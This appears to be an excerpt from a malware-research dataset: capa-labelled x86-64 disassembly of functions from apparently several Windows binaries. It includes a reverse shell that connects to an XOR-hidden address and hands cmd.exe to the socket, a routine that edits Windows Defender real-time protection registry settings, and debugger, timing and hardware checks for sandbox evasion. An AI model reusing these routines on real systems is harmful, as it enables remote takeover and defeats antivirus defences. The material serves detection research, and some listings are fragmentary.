joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002970
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x47], rax
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderReal_Time_Protection
lea rcx, [rbp + 7]
call fcn.1400040d0
nop
lea rdx, str.DisableRealtimeMonitoringNotifications
lea rcx, [rbp + 0x27]
call fcn.1400040d0
lea rdx, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rdx, qword [rbp + 7]
lea rax, [rbp - 1]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 9]
mov qword [rsp + 0x38], rax
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x102
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140002a90
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp - 1], 1
lea rdx, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rdx, qword [rbp + 7]
mov qword [rsp + 0x40], rbx
lea rax, [rbp - 9]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x102
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140002a90
lea rdx, [rbp + 0x27]
cmp qword [rbp + 0x3f], 7
cmova rdx, qword [rbp + 0x27]
mov dword [rsp + 0x28], 4
lea rax, [rbp - 1]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp + 0x3f]
cmp rdx, 7
jbe 0x140002ad3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ace
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ace
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
movdqa xmm0, xmmword [0x140008d30]
movdqu xmmword [rbp + 0x37], xmm0
mov word [rbp + 0x27], bx
mov rdx, qword [rbp + 0x1f]
cmp rdx, 7
jbe 0x140002b27
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b22
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b22
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005434
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140004fa0
mov rbx, qword [rsp + 0xc0]
add rsp, 0xb0
pop rbp
ret
Function at 0x140004cb0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140004d11
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140004cd0
mov ecx, dword [r9]
jmp 0x140004df8
cmp ecx, 0x4e0
jb 0x140004df8
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x140004d30
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x140004d80
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x140005cd8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005d22
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005d22
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005d22
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005d22
cmp dword [rcx + 0x84], 0xe
jbe 0x140005d22
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005d24
xor al, al
add rsp, 0x28
ret
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov eax, 0x30
mov rax, qword gs:[eax]
mov rsi, qword [rax + 8]
mov rbx, qword [0x140004440]
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001318
mov ecx, 0x3e8
call rdi
xor eax, eax
lock cmpxchg qword [rbx], rsi
jne 0x1400011b0
xor edi, edi
mov rsi, qword [0x140004450]
mov eax, dword [rsi]
cmp eax, 1
je 0x1400013a7
mov eax, dword [rsi]
test eax, eax
je 0x140001350
mov dword [0x140007004], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x140001374
test edi, edi
je 0x140001340
mov rax, qword [0x1400043d0]
mov rax, qword [rax]
test rax, rax
je 0x14000121f
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call fcn.140001950
mov rcx, qword [0x1400044d0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140004430]
lea rcx, section..text
mov qword [rdx], rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.140001760
mov ebx, dword [0x140007020]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r12, qword [0x140007018]
mov rbp, rax
test ebx, ebx
jle 0x140001398
sub rdi, 8
xor ebx, ebx
nop dword [rax]
mov rcx, qword [r12 + rbx]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140007018], rbp
call fcn.140001580
call fcn.140002630
mov r8, qword [0x140007010]
mov ecx, dword [0x140007020]
mov qword [rax], r8
mov rdx, qword [0x140007018]
call fcn.140002830
mov ecx, dword [0x140007008]
mov dword [0x14000700c], eax
test ecx, ecx
je 0x1400013a0
mov edx, dword [0x140007004]
test edx, edx
je 0x140001328
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov edi, 1
jmp 0x1400011cb
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x14000700c]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001204
mov rdx, qword [0x140004490]
mov rcx, qword [0x140004480]
mov dword [rsi], 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011fc
mov rdx, qword [0x140004470]
mov rcx, qword [0x140004460]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rsi], 2
jmp 0x1400011fc
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov ecx, 0x1f
call fcn.140002640
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140001430
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rdi, rdx
test r8d, r8d
jle 0x140001473
movsxd rbp, r8d
xor ebx, ebx
nop dword [rax + rax]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
xor edx, edx
mov rcx, rax
mov rax, rbx
div rcx
movzx eax, byte [rdi + rdx]
xor byte [rsi + rbx], al
add rbx, 1
cmp rbp, rbx
jne 0x140001450
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140001770
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.1400025c0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x1400017e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070a4]
mov rbx, rcx
test esi, esi
jle 0x140001910
mov rax, qword [0x1400070a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000182b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400018b5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001810
mov rcx, rbx
call fcn.1400022a0
mov rdi, rax
test rax, rax
je 0x140001932
mov rax, qword [0x1400070a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400023e0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001917
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400018ae
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x1400018c0
add dword [0x1400070a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400018ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001770
nop dword [rax]
xor esi, esi
jmp 0x140001838
mov rax, qword [0x1400070a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001770
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001770
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140001ee0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001f44
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word cs:[rax + rax]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140001f3b
test eax, eax
jne 0x140001f3b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f20
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400022a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400022c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400022c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400022c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000231d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002314
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400022c0
add rax, 0x28
cmp rax, r9
jne 0x140002300
xor eax, eax
ret

Function at 0x140002320
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000233f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002348
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000233f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400023e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400023ff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002408
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140002830
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x2a0
lea rbx, section..rdata
call fcn.140001580
lea rdi, [rsp + 0x53]
mov rdx, rbx
movabs rax, 0xd4fe9c9fd2fe9c9e
mov qword [rsp + 0x53], rax
mov rcx, rdi
mov r8d, 0xc
movabs rax, 0xdef1989bd4fe9c
mov qword [rsp + 0x58], rax
call fcn.140001430
mov eax, 0x1b13
lea rcx, [rsp + 0x50]
mov rdx, rbx
mov r8d, 2
mov word [rsp + 0x50], ax
call fcn.140001430
movsx si, byte [rsp + 0x50]
movsx ax, byte [rsp + 0x51]
lea rdx, [rsp + 0x100]
mov ecx, 0x202
shl esi, 8
or esi, eax
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
mov r8d, 6
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov edx, 2
movzx ecx, si
mov rbx, rax
mov word [rsp + 0x60], dx
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, rdi
mov word [rsp + 0x62], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea rdx, [rsp + 0x60]
mov rcx, rbx
mov r8d, 0x10
mov dword [rsp + 0x64], eax
call qword [sym.imp.WS2_32.dll_connect]
pxor xmm0, xmm0
lea rax, [rsp + 0x70]
xor ecx, ecx
movups xmmword [rsp + 0xc4], xmm0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.cmd.exe
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xd0], xmm0
movq xmm0, rbx
mov qword [rsp + 0x48], rax
punpcklqdq xmm0, xmm0
lea rax, [rsp + 0x90]
mov dword [rsp + 0x90], 0x68
mov dword [rsp + 0xcc], 0x100
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
movups xmmword [rsp + 0xe0], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
add rsp, 0x2a0
pop rbx
pop rsi
pop rdi
ret
Function at 0x140006a01
Capabilities:
Encode data using xor

Disassembly:
test dl, 3
je 0x140006a0e
sub edx, 1
test dl, 3
jne 0x140006a06
test edx, edx
je 0x140006a2f
mov eax, 0
mov r9d, 0

Function at 0x140006ef7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x248
mov rbp, rcx
mov r14d, edx
mov r13, r8
movsxd rax, dword [rcx + 0x3c]
mov eax, dword [rcx + rax + 0x88]
add rax, rcx
mov r12d, dword [rax + 0x20]
mov ecx, dword [rax + 0x1c]
mov qword [rsp + 0x28], rcx
mov r15d, dword [rax + 0x24]
mov esi, 0
add r12, rbp
lea rdi, [rsp + 0x30]
jmp 0x140006f43

Function at 0x1400075b0
Capabilities:
Encode data using xor

Disassembly:
push rax
mov qword [rsi], rcx
mov rdx, qword [rsp + 0x78]
mov qword [rsi + 0xa8], rdx
mov qword [rsi + 0x90], r13
mov rcx, qword [rsp + 0x60]
mov qword [rsi + 8], rcx
mov rax, qword [rsp + 0x40]
mov qword [rsi + 0x80], rax
mov edx, dword [rbx + 0x3c]
mov r8, rbx
mov rcx, rbp
call fcn.140006ef7
mov qword [rsi + 0x60], rax
mov edx, dword [rbx + 0x30]
mov r8, rbx
mov rcx, rbp
call fcn.140006ef7
mov qword [rsi + 0xb0], rax
mov r14, qword [r12 + 0x30]
mov edx, dword [rbx + 0x130]
mov r8, rbx
mov rcx, rdi
call fcn.140006ef7
mov r13, rax
mov eax, dword [rbx + 0xe4]
xor eax, dword [rbx + 0x98]
movsxd rdx, dword [rbx + 0xd4]
add r14, rdx
mov ebp, dword [r14]
mov r12d, dword [r14 + 4]
mov dword [rsp + 0xbc], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xa8], 0
cmp ebp, eax
je 0x14000769b
mov edx, ebp
mov ecx, 0x40
call r15
mov rdi, rax
lea rdx, [r14 + 8]
mov r8d, ebp
mov rcx, rax
call fcn.140006aa0
test ebp, ebp
je 0x140007610
mov rax, rdi
sub ebp, 1
shr ebp, 2
mov ebp, ebp
lea rdx, [rdi + rbp*4 + 4]
xor dword [rax], r12d
add rax, 4
cmp rdx, rax
jne 0x140007604
mov edx, 0x20a
mov ecx, 0x40
call r15
movzx ecx, byte [rdi]
test cl, cl
je sym.libvlc.dll_libvlc_video_set_spu
mov r8d, 0
movsx cx, cl
invalid
invalid
Function at 0x140017b30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, rcx
mov ecx, dword [0x140028644]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x140017c50
mov rax, qword [0x140028648]
xor ebx, ebx
add rax, 0x18
mov rdx, qword [rax]
cmp rsi, rdx
jb 0x140017b7c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rsi, rdx
jb 0x140017c36
add ebx, 1
add rax, 0x28
cmp ebx, ecx
jne 0x140017b60
mov rcx, rsi
call fcn.140018770
test rax, rax
mov r12, rax
je 0x140017c88
movsxd rbx, ebx
lea rbx, [rbx + rbx*4]
shl rbx, 3
mov r13, rbx
add r13, qword [0x140028648]
mov qword [r13 + 0x20], rax
mov dword [r13], 0
call fcn.1400188c0
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 0x18], rax
mov rax, qword [0x140028648]
mov rcx, qword [rax + rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140017c6b
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140017c2f
sub eax, 0x40
and eax, 0xffffffbf
je 0x140017c2f
add rbx, qword [0x140028648]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140017c57
add dword [0x140028644], 1
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
xor ebx, ebx
jmp 0x140017b87
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140017ac0
mov rax, qword [0x140028648]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140017ac0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call fcn.140017ac0
nop
nop dword [rax + rax]

Function at 0x1400183e0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140028920]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140028900]
test rbx, rbx
je 0x140018434
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14001842b
test rsi, rsi
je 0x14001842b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140018410
lea rcx, [0x140028920]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140018770
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140021b10]
xor edx, edx
mov r8, rcx
cmp word [r9], 0x5a4d
je 0x140018790
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call fcn.140018650
test eax, eax
je 0x140018788
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x1400187ed
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x1400187e4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140018788
add rdx, 0x28
cmp rdx, r9
jne 0x1400187d0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret

Function at 0x140019930
Capabilities:
Query environment variable

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12d, 1
sub r8d, 1
mov edi, ecx
mov ecx, 0x66666667
mov eax, r8d
mov rbp, rdx
movsxd rsi, r8d
imul ecx
sar r8d, 0x1f
mov rbx, r9
mov ecx, edx
sar ecx, 2
sub ecx, r8d
je 0x140019985
mov r8d, 0x66666667
nop dword [rax]
mov eax, ecx
sar ecx, 0x1f
add r12d, 1
imul r8d
sar edx, 2
sub edx, ecx
mov ecx, edx
jne 0x140019970
mov edx, dword [rbx + 0x2c]
cmp edx, 0xffffffff
je 0x140019a00
mov ecx, dword [rbx + 0xc]
cmp r12d, edx
mov r9, rbx
cmovl r12d, edx
mov r8d, 1
lea edx, [r12 + 2]
mov eax, ecx
sub eax, edx
cmp ecx, edx
mov edx, 0xffffffff
cmovle eax, edx
mov ecx, edi
mov rdx, rbp
mov dword [rbx + 0xc], eax
add r12d, 1
call fcn.1400191f0
mov ecx, dword [rbx + 8]
mov eax, dword [rbx + 0x2c]
mov rdx, rbx
mov dword [rbx + 0x10], eax
mov eax, ecx
and ecx, 0x20
or eax, 0x1c0
or ecx, 0x45
mov dword [rbx + 8], eax
call fcn.140018da0
add dword [rbx + 0xc], r12d
mov rdx, rbx
mov rcx, rsi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.140019660
mov eax, dword [0x14001e030]
cmp eax, 0xffffffff
je 0x140019a2c
test eax, eax
je 0x140019a1c
mov edx, 2
mov dword [rbx + 0x2c], edx
jmp 0x14001998d
call fcn.14001db90
test al, 1
mov edx, 3
jne 0x140019a0f
jmp 0x140019a14
lea rcx, str.PRINTF_EXPONENT_DIGITS
call sub.msvcrt.dll_getenv
test rax, rax
je 0x140019a54
movsx eax, byte [rax]
sub eax, 0x30
cmp eax, 2
setbe al
movzx eax, al
mov dword [0x14001e030], eax
jmp 0x140019a0b
xor eax, eax
jmp 0x140019a49
Function at 0x140001ed0
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbx
sub rsp, 0xa0
mov rax, qword [0x140040080]
xor rax, rsp
mov qword [rsp + 0x90], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140001f9d
call fcn.140016d50
mov ecx, 0x1388
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140016d50
movsd xmm0, qword [0x14003a648]
sub eax, ebx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
mulsd xmm1, qword [0x14003a640]
divsd xmm1, qword [0x14003a640]
comisd xmm0, xmm1
ja 0x140001f9d
mov ecx, 0x5f5e100
call fcn.140016dd0
mov rbx, rax
test rax, rax
je 0x140001f9d
xor edx, edx
mov r8d, 0x5f5e100
mov rcx, rax
call fcn.14002c780
mov rcx, rbx
call fcn.1400141e0
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x80], 2
jb 0x140001f9d
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x28]
shr rax, 0x1e
cmp eax, 2
jb 0x140001f9d
call fcn.140001fc0
xor eax, eax
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.14000c230
add rsp, 0xa0
pop rbx
ret